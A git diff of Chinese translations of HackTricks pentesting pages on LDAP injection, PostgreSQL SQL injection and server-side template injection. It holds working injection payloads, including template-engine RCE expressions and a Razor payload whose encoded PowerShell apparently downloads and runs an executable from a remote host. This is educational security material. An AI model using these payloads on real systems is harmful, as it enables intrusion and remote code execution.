* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -37,19 +37,19 @@
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||||
|
|
||||||
**过滤器** = ( filtercomp )\
|
**Filter** = ( filtercomp )\
|
||||||
**过滤组件** = and / or / not / item\
|
**Filtercomp** = and / or / not / item\
|
||||||
**与** = & filterlist\
|
**And** = & filterlist\
|
||||||
**或** = |filterlist\
|
**Or** = |filterlist\
|
||||||
**非** = ! filter\
|
**Not** = ! filter\
|
||||||
**过滤列表** = 1\*filter\
|
**Filterlist** = 1\*filter\
|
||||||
**项目**= simple / present / substring\
|
**Item**= simple / present / substring\
|
||||||
**简单** = attr filtertype assertionvalue\
|
**Simple** = attr filtertype assertionvalue\
|
||||||
**过滤类型** = _'=' / '\~=' / '>=' / '<='_\
|
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||||
**存在** = attr = \*\
|
**Present** = attr = \*\
|
||||||
**子字符串** = attr ”=” \[initial] \* \[final]\
|
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||||
**初始** = assertionvalue\
|
**Initial** = assertionvalue\
|
||||||
**最终** = assertionvalue\
|
**Final** = assertionvalue\
|
||||||
**(&)** = 绝对真\
|
**(&)** = 绝对真\
|
||||||
**(|)** = 绝对假
|
**(|)** = 绝对假
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@
|
||||||
|
|
||||||
**发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。**
|
**发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。**
|
||||||
|
|
||||||
过滤器必须以:`&` 或 `|` 开头\
|
过滤器必须以 `&` 或 `|` 开头。\
|
||||||
示例: `(&(directory=val1)(folder=public))`
|
示例: `(&(directory=val1)(folder=public))`
|
||||||
|
|
||||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||||
|
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||||
|
|
||||||
#### **发现有效的LDAP字段**
|
#### **发现有效的LDAP字段**
|
||||||
|
|
||||||
LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取该信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
|
LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
import requests
|
import requests
|
||||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -239,8 +239,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -25,13 +25,13 @@
|
||||||
|
|
||||||
**本页面旨在解释不同的技巧,帮助你利用在 PostgreSQL 数据库中发现的 SQL 注入,并补充你可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**
|
**本页面旨在解释不同的技巧,帮助你利用在 PostgreSQL 数据库中发现的 SQL 注入,并补充你可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**
|
||||||
|
|
||||||
## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与数据外泄
|
## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与外泄
|
||||||
|
|
||||||
**PostgreSQL 模块 `dblink`** 提供了连接其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能结合,使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法,请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
|
**PostgreSQL 模块 `dblink`** 提供连接到其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能结合,使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法,请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
|
||||||
|
|
||||||
### **使用 dblink 和大对象的数据外泄示例**
|
### **使用 dblink 和大对象的外泄示例**
|
||||||
|
|
||||||
你可以 [**阅读这个示例**](dblink-lo\_import-data-exfiltration.md) 来查看一个 CTF 示例,**如何在大对象中加载数据,然后在 `dblink_connect` 函数的用户名中外泄大对象的内容**。
|
你可以 [**阅读这个示例**](dblink-lo\_import-data-exfiltration.md) 来查看一个 CTF 示例,**如何在大对象中加载数据,然后在函数 `dblink_connect` 的用户名中外泄大对象的内容**。
|
||||||
|
|
||||||
## PostgreSQL 攻击:读/写、RCE、权限提升
|
## PostgreSQL 攻击:读/写、RCE、权限提升
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@
|
||||||
|
|
||||||
### 堆叠查询
|
### 堆叠查询
|
||||||
|
|
||||||
请记住,PostgreSQL 支持堆叠查询,但如果在期望仅返回 1 个响应时返回 2 个响应,许多应用程序会抛出错误。但是,你仍然可以通过时间注入滥用堆叠查询:
|
请记住,PostgreSQL 支持堆叠查询,但如果在期望仅返回 1 个响应时返回 2 个响应,多个应用程序将抛出错误。但是,你仍然可以通过时间注入滥用堆叠查询:
|
||||||
```
|
```
|
||||||
id=1; select pg_sleep(10);-- -
|
id=1; select pg_sleep(10);-- -
|
||||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||||
|
@ -65,7 +65,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||||
```
|
```
|
||||||
**database\_to\_xml**
|
**database\_to\_xml**
|
||||||
|
|
||||||
此函数将整个数据库以 XML 格式转储为仅 1 行(如果数据库非常大,请小心,因为您可能会导致 DoS 或甚至影响您自己的客户端):
|
此函数将整个数据库以 XML 格式转储为 1 行(如果数据库非常大,请小心,因为您可能会导致 DoS 或甚至影响您自己的客户端):
|
||||||
```sql
|
```sql
|
||||||
SELECT database_to_xml(true,true,'');
|
SELECT database_to_xml(true,true,'');
|
||||||
```
|
```
|
||||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣,并且想要攻克不可攻克的目标 - **我们正在招聘!**(_要求流利的波兰语书写和口语能力_)。
|
如果你对**黑客职业**感兴趣,并且想要攻克不可攻克的目标 - **我们正在招聘!**(_要求流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
@ -112,7 +112,7 @@ SELECT $TAG$hacktricks$TAG$;
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -3,15 +3,15 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
|
|
||||||
|
|
||||||
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)学习和实践 AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -19,7 +19,7 @@
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈的交流平台。
|
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -27,7 +27,7 @@
|
||||||
|
|
||||||
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在多种技术中找到,包括 Jinja。
|
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在多种技术中找到,包括 Jinja。
|
||||||
|
|
||||||
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段的示例:
|
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段示例:
|
||||||
```python
|
```python
|
||||||
output = template.render(name=request.args.get('name'))
|
output = template.render(name=request.args.get('name'))
|
||||||
```
|
```
|
||||||
|
@ -47,7 +47,7 @@ The payload `{{bad-stuff-here}}` 被注入到 `name` 参数中。这个有效载
|
||||||
|
|
||||||
* 抛出的错误,揭示漏洞并可能暴露模板引擎。
|
* 抛出的错误,揭示漏洞并可能暴露模板引擎。
|
||||||
* 反射中缺少有效载荷,或部分缺失,暗示服务器以不同于常规数据的方式处理它。
|
* 反射中缺少有效载荷,或部分缺失,暗示服务器以不同于常规数据的方式处理它。
|
||||||
* **明文上下文**:通过检查服务器是否评估模板表达式(例如,`{{7*7}}`,`${7*7}`)来区分 XSS。
|
* **明文上下文**:通过检查服务器是否评估模板表达式(例如 `{{7*7}}`,`${7*7}`)来区分 XSS。
|
||||||
* **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,查看服务器的输出是动态的还是固定的,比如 `greeting=data.username}}hello` 返回用户名。
|
* **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,查看服务器的输出是动态的还是固定的,比如 `greeting=data.username}}hello` 返回用户名。
|
||||||
|
|
||||||
#### 识别阶段
|
#### 识别阶段
|
||||||
|
@ -58,7 +58,7 @@ The payload `{{bad-stuff-here}}` 被注入到 `name` 参数中。这个有效载
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
* 更多信息请见 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
* 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
## 工具
|
## 工具
|
||||||
|
|
||||||
|
@ -176,7 +176,7 @@ $out.read()
|
||||||
|
|
||||||
### Thymeleaf
|
### Thymeleaf
|
||||||
|
|
||||||
在 Thymeleaf 中,测试 SSTI 漏洞的常见表达式是 `${7*7}`,这同样适用于此模板引擎。对于潜在的远程代码执行,可以使用以下表达式:
|
在 Thymeleaf 中,测试 SSTI 漏洞的一个常见表达式是 `${7*7}`,这同样适用于这个模板引擎。对于潜在的远程代码执行,可以使用以下表达式:
|
||||||
|
|
||||||
* SpringEL:
|
* SpringEL:
|
||||||
|
|
||||||
|
@ -189,11 +189,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||||
```
|
```
|
||||||
|
|
||||||
Thymeleaf 要求这些表达式放置在特定属性中。然而,其他模板位置支持 _表达式内联_,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
|
Thymeleaf 要求这些表达式放置在特定属性中。然而,_表达式内联_ 对于其他模板位置是支持的,使用的语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
|
||||||
|
|
||||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态创建字符串模板,这并不常见。
|
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 来动态创建字符串模板,这并不常见。
|
||||||
|
|
||||||
Thymeleaf 还提供 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
|
Thymeleaf 还提供了 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
|
||||||
```java
|
```java
|
||||||
#{selection.__${sel.code}__}
|
#{selection.__${sel.code}__}
|
||||||
```
|
```
|
||||||
|
@ -277,7 +277,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||||
|
|
||||||
* `{{ someString.toUPPERCASE() }}`
|
* `{{ someString.toUPPERCASE() }}`
|
||||||
|
|
||||||
Pebble 的旧版本(< 3.0.9):
|
Pebble 的旧版本(< 版本 3.0.9):
|
||||||
```java
|
```java
|
||||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||||
```
|
```
|
||||||
|
@ -438,7 +438,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流平台。
|
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -679,12 +679,12 @@ URLencoded:
|
||||||
|
|
||||||
### JsRender (NodeJS)
|
### JsRender (NodeJS)
|
||||||
|
|
||||||
| **模板** | **描述** |
|
| **模板** | **描述** |
|
||||||
| -------- | --------------------------------- |
|
| -------- | ------------------------------------ |
|
||||||
| | 评估并渲染输出 |
|
| | 评估并渲染输出 |
|
||||||
| | 评估并渲染HTML编码输出 |
|
| | 评估并渲染HTML编码输出 |
|
||||||
| | 注释 |
|
| | 注释 |
|
||||||
| 和 | 允许代码(默认禁用) |
|
| 和 | 允许代码(默认禁用) |
|
||||||
|
|
||||||
* \= 49
|
* \= 49
|
||||||
|
|
||||||
|
@ -731,11 +731,11 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
### 其他 NodeJS
|
### 其他 NodeJS
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
* 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
* 更多信息在 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### ERB (Ruby)
|
### ERB (Ruby)
|
||||||
|
|
||||||
|
@ -814,11 +814,11 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
[官方网站](http://jinja.pocoo.org)
|
[官方网站](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持,一个可选的集成沙箱执行环境,广泛使用并且是 BSD 许可的。
|
> Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持、可选的集成沙箱执行环境,广泛使用并且是 BSD 许可的。
|
||||||
|
|
||||||
* `{{7*7}} = 错误`
|
* `{{7*7}} = Error`
|
||||||
* `${7*7} = ${7*7}`
|
* `${7*7} = ${7*7}`
|
||||||
* `{{foobar}} 无`
|
* `{{foobar}} Nothing`
|
||||||
* `{{4*4}}[[5*5]]`
|
* `{{4*4}}[[5*5]]`
|
||||||
* `{{7*'7'}} = 7777777`
|
* `{{7*'7'}} = 7777777`
|
||||||
* `{{config}}`
|
* `{{config}}`
|
||||||
|
@ -905,7 +905,7 @@ ${x}
|
||||||
* `@(1+2)`
|
* `@(1+2)`
|
||||||
* `@( //C#代码 )`
|
* `@( //C#代码 )`
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHccgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
